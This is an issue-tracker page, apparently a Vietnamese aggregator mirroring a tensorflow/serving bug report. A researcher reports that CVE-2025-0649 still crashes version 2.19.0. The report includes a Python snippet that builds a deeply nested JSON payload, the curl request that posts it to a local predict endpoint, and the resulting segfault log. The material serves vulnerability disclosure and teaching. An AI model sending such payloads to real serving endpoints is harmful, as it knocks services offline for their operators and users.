**CVE-2025-0649** - I think this issue still exists in version 2.19.0 - At least my lab suggests it is.
@jeelania10 đang làm issue này rồi.
Từ ngày 12/8/2026.
Đánh giá
Issue này chưa được đánh giá.
Mô tả
I am working on my book on adversarial AI: https://www.securitynik.com/2025/06/coming-soon-free-little-book-on.html and as part of that book I am talking about attacking the inference endpoint. As expected, version 2.18.0 of TF Serving is vulnerable to the JSON issue. We know this. However, when I try to show the mitigation is upgrading to 2.19.0, unfortunately this version also crashes.
Here is my code to create the file:
# Increase recurse_depth to 50_000
recurse_depth = 50_000
# Create a file on the file system
with open(file="/tmp/tf_serv_vuln.json", mode="w") as f:
# Write to the file
# This information should look similary to what you say earlier
f.write('{"instances": ' + ('[' * recurse_depth) + '0.5' + (']' * recurse_depth) + '}')
# verify the file has been created
!ls /tmp/tf_serv_vuln.json
Here is my curl command:
curl --request POST "http://localhost:8501/v1/models/vuln_tf_serv:predict" --header "Content-Type: application/json" --header "User-agent: securitynik_adversarial_ai_lab" --data-binary @/tmp/tf_serv_vuln.json
Here is the result to my curl command:
curl: (52) Empty reply from server
Here is the output from TF Serving console
[evhttp_server.cc : 261] NET_LOG: Entering the event loop ...
/usr/bin/tf_serving_entrypoint.sh: line 3: 7 Segmentation fault (core dumped) tensorflow_model_server --port=8500 --rest_api_port=8501 --model_name=${MODEL_NAME} --model_base_path=${MODEL_BASE_PATH}/${MODEL_NAME} "$@" ```
Here is my docker information:
sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
tensorflow/serving 2.19.0 d871e064642e 2 months ago 729MB
here is also how I served the image:
``` sudo docker run --rm -p 8501:8501 --name=tfserving -v "/tmp/models/my_model:/models/vuln_tf_serv" -e MODEL_NAME=vuln_tf_serv tensorflow/serving:2.19.0```
Let me know if did something wrong on my end. Would love to know what I might have missed.
- Ngôn ngữ chính
- C++
- Star
- 6.4k
- Fork
- 2.2k
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Chuẩn bị môi trường
- Không có Dockerfile hay tệp Docker Compose
- Không có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của tensorflow/serving
-
gpg key expiredCó thể đã có người làm @jeelania10 đã nhận 6 ngày trước. Đang mởbug
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 38/100
tensorflow/serving#4150 · 1 bình luận · 1 người được giao ·
-
Vulnerability in Libgcrypt CVE-2026-41989Có thể làm lại được @jeelania10 đã nhận 47 ngày trước và không có pull request nào đang mở. Đang mởstat:awaiting tensorflower type:support
tensorflow/serving#4139 · 1 bình luận · 1 người được giao ·
-
Error building TF Serving from sourceCó thể làm lại được @bharatjetti đã nhận 309 ngày trước và không có pull request nào đang mở. Đang mởstat:contributions welcome type:build/install
tensorflow/serving#4108 · 8 bình luận · 1 người được giao ·
-
[Docs] Broken LinksCó thể làm lại được @jeelania10 đã nhận 56 ngày trước và không có pull request nào đang mở. Đang mởstat:contributions welcome type:docs
tensorflow/serving#2255 · 2 bình luận · 1 người được giao ·
-
Critical VulnerabilityĐang mởstat:awaiting tensorflower
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 15/100
tensorflow/serving#2206 · 3 bình luận ·
Tất cả issue của tensorflow/serving
Issue tương tự
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 92/100
sandialabs/seacas#945 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
ROCm/FastFlowLM#757 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
WaterHeaterManagement: tank_percent feature reports wrong feature id (FeatureMap corruption)Đang mở
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 92/100
espressif/esp-matter#1867 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
mltframework/shotcut#1920 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
Maintainer thường phản hồi trong vòng 1 ngày